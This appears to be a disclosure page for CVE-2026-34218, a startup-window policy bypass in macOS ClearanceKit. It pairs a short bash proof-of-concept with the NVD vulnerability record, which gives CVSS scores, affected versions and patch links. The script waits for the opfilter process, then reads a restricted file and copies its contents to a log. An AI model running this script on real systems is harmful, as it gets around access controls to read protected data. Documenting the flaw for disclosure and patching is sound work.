CVE-2026-34218

#!/bin/bash # PoC for CVE-2026-34218: ClearanceKit Policy Bypass # This script attempts to access a restricted file during the startup window. # Note: This requires the 'ClearanceKit' service to be in the vulnerable startup state. TARGET_FILE="/private/sensitive/config.db" LOG_FILE="clearancekit_poc.log" echo "[*] Waiting for ClearanceKit startup window..." # Monitor process to see if opfilter is running but GUI hasn't interacted yet while true; do if pgrep -x "opfilter" > /dev/null; then echo "[+] opfilter process detected. Attempting to read restricted file..." # Try to read the file that should be blocked by MDM/User policies if [ -r "$TARGET_FILE" ]; then echo "[SUCCESS] Vulnerability confirmed! Read access granted to $TARGET_FILE" | tee -a "$LOG_FILE" cat "$TARGET_FILE" >> "$LOG_FILE" exit 0 else echo "[FAIL] Access denied. Policies might be already loaded." | tee -a "$LOG_FILE" exit 1 fi fi sleep 1 done

{"cve": {"id": "CVE-2026-34218", "sourceIdentifier": "[email protected]", "published": "2026-03-31T16:16:31.670", "lastModified": "2026-04-06T15:04:33.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ClearanceKit intercepts file-system access events on macOS and enforces per-process access policies. Prior to version 4.2.14, two related startup defects created a window during which only the single compile-time baseline rule was enforced by opfilter. All managed (MDM-delivered) and user-defined file-access rules were not applied until the user interacted with policies through the GUI, triggering a policy mutation over XPC. This issue has been patched in version 4.2.14."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:craigjbass:clearancekit:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.14", "matchCriteriaId": "F20C94B6-2258-4687-93B0-D09E08F23C03"}]}]}], "references": [{"url": "https://github.com/craigjbass/clearancekit/commit/56d617b778c571e3c29b803636d9807940992daa", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/craigjbass/clearancekit/commit/ddfdacb2633681bbd9c2f41dbd536ea039386628", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/craigjbass/clearancekit/security/advisories/GHSA-fpmv-5wgw-qhhr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}